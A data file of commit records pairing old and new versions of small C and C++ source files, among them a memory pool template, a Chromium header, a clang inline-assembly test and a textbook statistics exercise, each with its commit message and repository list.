{"commit":"b28077d75ac2c1d016ed0be4be02d9dd3ea05fda","old_file":"Apptentive\/Apptentive\/Misc\/ApptentiveJSONSerialization.h","new_file":"Apptentive\/Apptentive\/Misc\/ApptentiveJSONSerialization.h","old_contents":"\/\/\n\/\/  ApptentiveJSONSerialization.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Andrew Wooster on 6\/22\/13.\n\/\/  Copyright (c) 2013 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nextern NSInteger ApptentiveJSONDeserializationErrorCode;\n\n@interface ApptentiveJSONSerialization : NSObject\n\n+ (NSData *)dataWithJSONObject:(id)obj options:(NSJSONWritingOptions)opt error:(NSError **)error;\n+ (id)JSONObjectWithData:(NSData *)data error:(NSError **)error;\n\n@end\n","new_contents":"\/\/\n\/\/  ApptentiveJSONSerialization.h\n\/\/  Apptentive\n\/\/\n\/\/  Created by Andrew Wooster on 6\/22\/13.\n\/\/  Copyright (c) 2013 Apptentive, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nextern NSInteger ApptentiveJSONDeserializationErrorCode;\nextern NSInteger ApptentiveJSONSerializationErrorCode;\n\n\n@interface ApptentiveJSONSerialization : NSObject\n\n+ (NSData *)dataWithJSONObject:(id)obj options:(NSJSONWritingOptions)opt error:(NSError **)error;\n+ (id)JSONObjectWithData:(NSData *)data error:(NSError **)error;\n\n@end\n","subject":"Add serialization error code extern","message":"Add serialization error code extern\n","lang":"C","license":"bsd-3-clause","repos":"apptentive\/apptentive-ios,apptentive\/apptentive-ios,apptentive\/apptentive-ios"}
{"commit":"6991c2dd84060f8e7375966d4e488a359b42d43a","old_file":"src\/AllocationPool.h","new_file":"src\/AllocationPool.h","old_contents":"\n#pragma once\n\ntemplate<class T, size_t BufferSize, class StarvationCallbacks>\nclass AllocationPool {\n\tpublic:\n\t\t\n\t\t~AllocationPool()\n\t\t{\n\t\t\twhile (!m_FreeList.empty())\n\t\t\t{\n\t\t\t\tdelete m_FreeList.front();\n\t\t\t\tm_FreeList.pop_front();\n\t\t\t}\n\t\t}\t\n\t\t\n\t\tT* Allocate()\n\t\t{\n\t\t\tif (m_FreeList.Size() <= BufferSize)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\treturn new T;\n\t\t\t\t}\n\t\t\t\tcatch (std::bad_alloc& ex)\n\t\t\t\t{\n\t\t\t\t\tif (m_FreeList.size() == BufferSize)\n\t\t\t\t\t{\n\t\t\t\t\t\tStarvationCallbacks.OnStartingUsingBuffer();\n\t\t\t\t\t}\n\t\t\t\t\telse if (m_FreeList.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\tStarvationCallbacks.OnBufferEmpty();\n\t\t\t\t\t\t\/\/ Try again until the memory is avalable\n\t\t\t\t\t\treturn Allocate();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tT* ret = m_FreeList.front();\n\t\t\tm_FreeList.pop_front();\n\t\t\treturn ret;\n\t\t}\n\t\tvoid Free(T* ptr)\n\t\t{\n\t\t\tm_FreeList.push_front(ptr);\n\t\t\tif (m_FreeList.size() == BufferSize)\n\t\t\t{\n\t\t\t\tStarvationCallbacks.OnStopUsingBuffer();\n\t\t\t}\n\t\t}\n\t\t\n\tprivate:\n\t\tstd::list<T*> m_FreeList;\n}\n","new_contents":"\n#pragma once\n\ntemplate<class T, size_t BufferSize, class StarvationCallbacks>\nclass AllocationPool {\n\tpublic:\n\t\t\n\t\t~AllocationPool()\n\t\t{\n\t\t\twhile (!m_FreeList.empty())\n\t\t\t{\n\t\t\t\tdelete m_FreeList.front();\n\t\t\t\tm_FreeList.pop_front();\n\t\t\t}\n\t\t}\t\n\t\t\n\t\tT* Allocate()\n\t\t{\n\t\t\tif (m_FreeList.Size() <= BufferSize)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\treturn new T;\n\t\t\t\t}\n\t\t\t\tcatch (std::bad_alloc& ex)\n\t\t\t\t{\n\t\t\t\t\tif (m_FreeList.size() == BufferSize)\n\t\t\t\t\t{\n\t\t\t\t\t\tStarvationCallbacks.OnStartingUsingBuffer();\n\t\t\t\t\t}\n\t\t\t\t\telse if (m_FreeList.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\tStarvationCallbacks.OnBufferEmpty();\n\t\t\t\t\t\t\/\/ Try again until the memory is avalable\n\t\t\t\t\t\treturn Allocate();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ placement new, used to initalize the object\n\t\t\tT* ret = new (m_FreeList.front()) T;\n\t\t\tm_FreeList.pop_front();\n\t\t\treturn ret;\n\t\t}\n\t\tvoid Free(T* ptr)\n\t\t{\n\t\t\t\/\/ placement destruct.\n\t\t\tptr->~T();\n\t\t\tm_FreeList.push_front(ptr);\n\t\t\tif (m_FreeList.size() == BufferSize)\n\t\t\t{\n\t\t\t\tStarvationCallbacks.OnStopUsingBuffer();\n\t\t\t}\n\t\t}\n\t\t\n\tprivate:\n\t\tstd::list<void *> m_FreeList;\n}\n","subject":"Use placement new to initalise objects","message":"Use placement new to initalise objects\n","lang":"C","license":"apache-2.0","repos":"Tri125\/MCServer,kevinr\/cuberite,bendl\/cuberite,Fighter19\/cuberite,Fighter19\/cuberite,Altenius\/cuberite,electromatter\/cuberite,Altenius\/cuberite,zackp30\/cuberite,birkett\/MCServer,Howaner\/MCServer,SamOatesPlugins\/cuberite,ionux\/MCServer,zackp30\/cuberite,johnsoch\/cuberite,zackp30\/cuberite,nounoursheureux\/MCServer,birkett\/cuberite,birkett\/MCServer,thetaeo\/cuberite,thetaeo\/cuberite,johnsoch\/cuberite,nicodinh\/cuberite,mmdk95\/cuberite,mjssw\/cuberite,Haxi52\/cuberite,ionux\/MCServer,QUSpilPrgm\/cuberite,mjssw\/cuberite,birkett\/cuberite,Fighter19\/cuberite,mmdk95\/cuberite,linnemannr\/MCServer,linnemannr\/MCServer,tonibm19\/cuberite,SamOatesPlugins\/cuberite,nichwall\/cuberite,guijun\/MCServer,thetaeo\/cuberite,Schwertspize\/cuberite,Tri125\/MCServer,guijun\/MCServer,Haxi52\/cuberite,mmdk95\/cuberite,Howaner\/MCServer,bendl\/cuberite,Tri125\/MCServer,guijun\/MCServer,bendl\/cuberite,nounoursheureux\/MCServer,ionux\/MCServer,HelenaKitty\/EbooMC,HelenaKitty\/EbooMC,SamOatesPlugins\/cuberite,ionux\/MCServer,Altenius\/cuberite,marvinkopf\/cuberite,QUSpilPrgm\/cuberite,thetaeo\/cuberite,nichwall\/cuberite,nevercast\/cuberite,tonibm19\/cuberite,linnemannr\/MCServer,kevinr\/cuberite,Tri125\/MCServer,Tri125\/MCServer,zackp30\/cuberite,nichwall\/cuberite,electromatter\/cuberite,mc-server\/MCServer,birkett\/MCServer,electromatter\/cuberite,jammet\/MCServer,HelenaKitty\/EbooMC,nicodinh\/cuberite,linnemannr\/MCServer,mmdk95\/cuberite,Altenius\/cuberite,nicodinh\/cuberite,Haxi52\/cuberite,tonibm19\/cuberite,birkett\/MCServer,guijun\/MCServer,Haxi52\/cuberite,nichwall\/cuberite,thetaeo\/cuberite,thetaeo\/cuberite,bendl\/cuberite,marvinkopf\/cuberite,jammet\/MCServer,mc-server\/MCServer,mjssw\/cuberite,QUSpilPrgm\/cuberite,nicodinh\/cuberite,HelenaKitty\/EbooMC,Fighter19\/cuberite,Schwertspize\/cuberite,Schwertspize\/cuberite,birkett\/cuberite,Haxi52\/cuberite,tonibm19\/cuberite,QUSpilPrgm\/cuberite,tonibm19\/cuberite,Howaner\/MCServer,guijun\/MCServer,Frownigami1\/cuberite,mjssw\/cuberite,marvinkopf\/cuberite,tonibm19\/cuberite,nichwall\/cuberite,jammet\/MCServer,mc-server\/MCServer,johnsoch\/cuberite,Howaner\/MCServer,ionux\/MCServer,nicodinh\/cuberite,SamOatesPlugins\/cuberite,mjssw\/cuberite,Altenius\/cuberite,marvinkopf\/cuberite,mc-server\/MCServer,kevinr\/cuberite,kevinr\/cuberite,zackp30\/cuberite,mmdk95\/cuberite,electromatter\/cuberite,nounoursheureux\/MCServer,nounoursheureux\/MCServer,Tri125\/MCServer,mjssw\/cuberite,jammet\/MCServer,bendl\/cuberite,Frownigami1\/cuberite,kevinr\/cuberite,nicodinh\/cuberite,birkett\/cuberite,marvinkopf\/cuberite,nichwall\/cuberite,Howaner\/MCServer,mc-server\/MCServer,Schwertspize\/cuberite,johnsoch\/cuberite,nevercast\/cuberite,birkett\/MCServer,jammet\/MCServer,johnsoch\/cuberite,QUSpilPrgm\/cuberite,birkett\/cuberite,HelenaKitty\/EbooMC,ionux\/MCServer,linnemannr\/MCServer,kevinr\/cuberite,birkett\/cuberite,nounoursheureux\/MCServer,Howaner\/MCServer,mmdk95\/cuberite,QUSpilPrgm\/cuberite,nevercast\/cuberite,electromatter\/cuberite,birkett\/MCServer,Fighter19\/cuberite,jammet\/MCServer,Schwertspize\/cuberite,nevercast\/cuberite,guijun\/MCServer,linnemannr\/MCServer,Frownigami1\/cuberite,Frownigami1\/cuberite,Haxi52\/cuberite,nounoursheureux\/MCServer,zackp30\/cuberite,nevercast\/cuberite,electromatter\/cuberite,marvinkopf\/cuberite,nevercast\/cuberite,Frownigami1\/cuberite,SamOatesPlugins\/cuberite,mc-server\/MCServer,Fighter19\/cuberite"}
{"commit":"3c3a26b636db7c29db9746b34493bc8f389583d3","old_file":"corrcheck.h","new_file":"corrcheck.h","old_contents":"#ifndef CORRCHECK_H\n#define CORRCHECK_H\n\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <dirent.h>\n#include <iostream>\n#include <map>\n#include <openssl\/ssl.h>\n#include <string>\n#include <sys\/stat.h>\n#include <vector>\n\n#include \"corrcheck_defines.h\"\n#include \"File.h\"\n\nint create_database(const std::string& directory);\nint update_database();\nint verify_database(const std::string& directory);\nint write_database(const std::string& directory, const File* file_list);\n\n#endif\n\n","new_contents":"#ifndef CORRCHECK_H\n#define CORRCHECK_H\n\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <dirent.h>\n#include <iostream>\n#include <map>\n#include <openssl\/ssl.h>\n#include <string>\n#include <sys\/stat.h>\n#include <vector>\n\n#include \"corrcheck_defines.h\"\n#include \"File.h\"\n\n\/*\n  Create a .corrcheckdb of the files in a directory given by 'directory'.\n  Returns SUCCESS (0) if no errors occur; returns FAILURE (1) otherwise.\n *\/\nint create_database(const std::string& directory);\n\n\/*\n  ---NOT IMPLEMENTED---\n  Rewrite the .corrcheckdb of the files in a directory while notifying of\napparent changes since creation or last update.\n *\/\nint update_database();\n\n\/*\n  Check the .corrcheckdb of the files in a directory given by 'directory' and\nnotify of apparent changes since creation or last update. This function does not\nmodify the .corrcheckdb file.\n *\/\nint verify_database(const std::string& directory);\n\n\/*\n  Write a .corrcheckdb in the directory given by 'directory' based on the list of\nfiles given as 'file_list', overwriting any that may already be present.\n *\/\nint write_database(const std::string& directory, const File* file_list);\n\n#endif\n\n","subject":"Write more brief function descriptions.","message":"Write more brief function descriptions.\n","lang":"C","license":"mit","repos":"mdclyburn\/corrcheck,mdclyburn\/corrcheck"}
{"commit":"d537d6c355be1a51bbb808e9da214f5595d75f3d","old_file":"ios\/web\/public\/browser_state.h","new_file":"ios\/web\/public\/browser_state.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef IOS_WEB_PUBLIC_BROWSER_STATE_H_\n#define IOS_WEB_PUBLIC_BROWSER_STATE_H_\n\n#include \"base\/supports_user_data.h\"\n\nnamespace net {\nclass URLRequestContextGetter;\n}\n\nnamespace web {\n\n\/\/ This class holds the context needed for a browsing session.\n\/\/ It lives on the UI thread. All these methods must only be called on the UI\n\/\/ thread.\nclass BrowserState : public base::SupportsUserData {\n public:\n  ~BrowserState() override;\n\n  \/\/ Return whether this BrowserState is incognito. Default is false.\n  virtual bool IsOffTheRecord() const = 0;\n\n  \/\/ Returns the request context information associated with this\n  \/\/ BrowserState.\n  virtual net::URLRequestContextGetter* GetRequestContext() = 0;\n\n protected:\n  BrowserState();\n};\n\n}  \/\/ namespace web\n\n#endif  \/\/ IOS_WEB_PUBLIC_BROWSER_STATE_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef IOS_WEB_PUBLIC_BROWSER_STATE_H_\n#define IOS_WEB_PUBLIC_BROWSER_STATE_H_\n\n#include \"base\/supports_user_data.h\"\n\nnamespace base {\nclass FilePath;\n}\n\nnamespace net {\nclass URLRequestContextGetter;\n}\n\nnamespace web {\n\n\/\/ This class holds the context needed for a browsing session.\n\/\/ It lives on the UI thread. All these methods must only be called on the UI\n\/\/ thread.\nclass BrowserState : public base::SupportsUserData {\n public:\n  ~BrowserState() override;\n\n  \/\/ Return whether this BrowserState is incognito. Default is false.\n  virtual bool IsOffTheRecord() const = 0;\n\n  \/\/ Retrieves the path where the BrowserState data is stored.\n  virtual base::FilePath GetPath() const = 0;\n\n  \/\/ Returns the request context information associated with this\n  \/\/ BrowserState.\n  virtual net::URLRequestContextGetter* GetRequestContext() = 0;\n\n protected:\n  BrowserState();\n};\n\n}  \/\/ namespace web\n\n#endif  \/\/ IOS_WEB_PUBLIC_BROWSER_STATE_H_\n","subject":"Expand web::BrowserState to add GetPath() method","message":"Expand web::BrowserState to add GetPath() method\n\nAdd a method to web::BrowserState returning the path where the\nBrowserState data is stored.\n\nBUG=429756\n\nReview URL: https:\/\/codereview.chromium.org\/740353002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#305191}\n","lang":"C","license":"bsd-3-clause","repos":"krieger-od\/nwjs_chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,M4sse\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,ltilve\/chromium,dushu1203\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk"}
{"commit":"410ca053a96733f7ce48010c50c91f7104967f57","old_file":"includes\/score.h","new_file":"includes\/score.h","old_contents":"#ifndef SCORE_H_INCLUDED\n#define SCORE_H_INCLUDED\n\n#define FOOD1_SCORE 15\t\/\/Titik\n#define FOOD2_SCORE 100\t\/\/Sedap Malam\n#define FOOD3_SCORE 300\t\/\/Menyan\n#define FOOD4_SCORE 500\t\/\/Melati\n#define FOOD5_SCORE 700\t\/\/Kopi Hitam\n\ntypedef struct{\n\tchar *name;\n\tint score;\n\tint lives;\n\tint foodCount;\n\tpacmanController peciman;\n\tghostController ghost1;\n\tghostController ghost2;\n\tghostController ghost3;\n\tghostController ghost4;\n\n} playerControl;\n\nvoid initScore(playerControl *player);\nvoid initLives(playerControl *player);\nvoid incScore(int food, playerControl *player);\nvoid eatFood(playerControl *player);\nvoid incLives(playerControl *player, int *liveGiven);\nint randomise(int min, int max);\nint foodType(int x);\nvoid spawnFood(MapController *map, int posX, int posY);\nvoid despawnFood(MapController *map, int posX, int posY);\nvoid randFoodPos();\nvoid drawNumber(int x, int posX, int posY, int posisi);\nvoid printScore(int score, int posX, int posY);\nvoid printLives(int lives, int posX, int posY);\n\n#endif \/\/ SCORE_H_INCLUDED\n","new_contents":"#ifndef SCORE_H_INCLUDED\n#define SCORE_H_INCLUDED\n\n#define FOOD1_SCORE 15\t\/\/Titik\n#define FOOD2_SCORE 100\t\/\/Sedap Malam\n#define FOOD3_SCORE 300\t\/\/Menyan\n#define FOOD4_SCORE 500\t\/\/Melati\n#define FOOD5_SCORE 700\t\/\/Kopi Hitam\n\ntypedef struct{\n\tchar *name;\n\tint score;\n\tint lives;\n\tint foodCount;\n\tint level;\n\tpacmanController peciman;\n\tghostController ghost1;\n\tghostController ghost2;\n\tghostController ghost3;\n\tghostController ghost4;\n\n} playerControl;\n\nvoid initScore(playerControl *player);\nvoid initLives(playerControl *player);\nvoid incScore(int food, playerControl *player);\nvoid eatFood(playerControl *player);\nvoid incLives(playerControl *player, int *liveGiven);\nint randomise(int min, int max);\nint foodType(int x);\nvoid spawnFood(MapController *map, int posX, int posY);\nvoid despawnFood(MapController *map, int posX, int posY);\nvoid randFoodPos();\nvoid drawNumber(int x, int posX, int posY, int posisi);\nvoid printScore(int score, int posX, int posY);\nvoid printLives(int lives, int posX, int posY);\n\n#endif \/\/ SCORE_H_INCLUDED\n","subject":"Add level field in playercontroller","message":"Add level field in playercontroller\n","lang":"C","license":"mit","repos":"syamcode\/PecimenGame,syamcode\/PecimenGame"}
{"commit":"0ae863aa45b829a1030a0917e7e4f8dc8274aac6","old_file":"src\/bitwise.h","new_file":"src\/bitwise.h","old_contents":"#pragma once\n\n#include <cstdint>\n\ninline uint16_t compose_bytes(const uint8_t low, const uint8_t high) {\n    return (high << 8) + low;\n};\n\ninline bool check_bit(const uint8_t value, int bit) {\n    return (value & (1 << bit)) != 0;\n};\n\ninline uint8_t set_bit(const uint8_t value, int bit) {\n    return static_cast<uint8_t>(value | (1 << bit));\n}\n","new_contents":"#pragma once\n\n#include <cstdint>\n\ninline uint16_t compose_bytes(const uint8_t low, const uint8_t high) {\n    return (high << 8) + low;\n}\n\ninline bool check_bit(const uint8_t value, int bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline uint8_t set_bit(const uint8_t value, int bit) {\n    return static_cast<uint8_t>(value | (1 << bit));\n}\n","subject":"Remove extraneous ; on function definition","message":"Remove extraneous ; on function definition\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"a64aac47da8b3bf66b2fd3cf973508a8ce7d23a8","old_file":"test\/CodeGen\/ms-inline-asm-EVEN.c","new_file":"test\/CodeGen\/ms-inline-asm-EVEN.c","old_contents":"\/\/ RUN: %clang_cc1 %s -triple i386-unknown-unknown -fasm-blocks -emit-llvm -o - | FileCheck %s\n\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK:  .even\nvoid t1() {\n  __asm {\n    .byte 64\n    .byte 64\n    .byte 64\n    EVEN\n    mov eax, ebx\n  }\n}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 %s -triple i386-apple-darwin10 -fasm-blocks -emit-llvm -o - | FileCheck %s\n\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK:  .even\nvoid t1() {\n  __asm {\n    .byte 64\n    .byte 64\n    .byte 64\n    EVEN\n    mov eax, ebx\n  }\n}\n","subject":"Add support for MS 'EVEN' directive","message":"[fixup][X86][inline-asm] Add support for MS 'EVEN' directive\n\nrefining tested targets resolution, to amend failures caused by rL299454\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@299459 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"a126e4a44a567136b83b21e436b6b8cf27c81472","old_file":"chapter27\/chapter27_ex14.c","new_file":"chapter27\/chapter27_ex14.c","old_contents":"","new_contents":"\/* Chapter 27, exercise 14: write a function that takes an array of int as input\n   and finds the smallest and the largest elements as well as the median and\n   mean; return the result in a struct holding the values *\/\n\n#include<stddef.h>\n#include<string.h>\n#include<stdlib.h>\n#include<assert.h>\n#include<stdio.h>\n\nstruct Result {\n    int min;\n    int max;\n    double median;\n    double mean;\n};\n\nint cmpint(const void* a, const void* b)\n{\n    int aa = *(int*)a;\n    int bb = *(int*)b;\n    if (aa<bb)\n        return -1;\n    else if (bb<aa)\n        return 1;\n    else\n        return 0;\n}\n\nint array_sum(int* int_array, size_t size)\n{\n    int sum = 0;\n    int i;\n    for (i = 0; i<size; ++i)\n        sum += int_array[i];\n    return sum;\n}\n\nstruct Result* array_data(int* int_array, size_t size)\n{\n    assert(int_array);\n    assert(size > 0);\n    {\n        int* array_cpy = (int*)malloc(size*sizeof(int));    \/* copy to play with *\/\n        struct Result* res = (struct Result*)malloc(sizeof(struct Result));\n        memcpy(array_cpy,int_array,size*sizeof(int));\n        qsort(array_cpy,size,sizeof(int),cmpint);\n\n        res->min = array_cpy[0];\n        res->max = array_cpy[size-1];\n        if (size % 2)   \/* odd number of elements *\/\n            res->median = array_cpy[size\/2];\n        else    \/* even number - median is mean of two elements *\/\n            res->median = (array_cpy[size\/2-1] + array_cpy[size\/2]) \/ 2.0;\n        res->mean = (double)array_sum(int_array,size) \/ size;\n        free(array_cpy);\n        return res;\n    }\n}\n\nvoid print_result(struct Result* res)\n{\n    printf(\"min: %d\\nmax: %d\\nmean: %f\\nmedian: %f\\n\",\n           res->min,res->max,res->mean,res->median);\n}\n\nint main()\n{\n    int arr1[] = { 3, 2, 5, 4, 1 };\n    int arr2[] = { 5, 1, 7, 4, 8, 4 };\n    struct Result* res1 = array_data(arr1,sizeof(arr1)\/sizeof(int));\n    struct Result* res2 = array_data(arr2,sizeof(arr2)\/sizeof(int));\n    printf(\"arr1:\\n\");\n    print_result(res1);\n    printf(\"\\narr2:\\n\");\n    print_result(res2);\n\n    free(res1);\n    free(res2);\n}\n","subject":"Add Chapter 27, exercise 14","message":"Add Chapter 27, exercise 14\n","lang":"C","license":"mit","repos":"bewuethr\/stroustrup_ppp,bewuethr\/stroustrup_ppp"}
{"commit":"5db7606fc0cc7b83c145f4d861efb0ba0ad4c2d0","old_file":"src\/gethost.c","new_file":"src\/gethost.c","old_contents":"#include <stdio.h>\n#ifdef WIN32\n#include <io.h>\n#include <fcntl.h>\n#endif\n\nint\ngethost_main()\n{\n\textern\tchar\t*sccs_gethost();\n\tchar \t*host;\n\n#ifdef WIN32\n\tsetmode(1, _O_BINARY);\n#endif\n\thost = sccs_gethost();\n\tif ((host == NULL) || (*host == '\\0')) return (1);\n\tprintf(\"%s\\n\", host);\n\treturn (0);\n}\n","new_contents":"#include <stdio.h>\n#ifdef WIN32\n#include <io.h>\n#include <fcntl.h>\n#endif\n\nint\ngethost_main()\n{\n\textern\tchar\t*sccs_gethost();\n\tchar \t*host;\n\n#ifdef WIN32\n\tsetmode(1, _O_BINARY);\n#endif\n\thost = sccs_gethost();\n\tif ((host == NULL) || (*host == '\\0')) return (1);\n\tprintf(\"%s\\n\", host);\n\t\/* make isure we have a good domain name *\/\n\tif (strchr(host, '.') == NULL) return (1);\n\treturn (0);\n}\n","subject":"Add two more check to x.chk_env a) make sure host name have at least one dot b) add a http test","message":"Add two more check to x.chk_env\na) make sure host name have at least one dot\nb) add a http test\n\nbk: 39466063LfKperUt13MbGKJrzx5juA","lang":"C","license":"apache-2.0","repos":"bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper"}
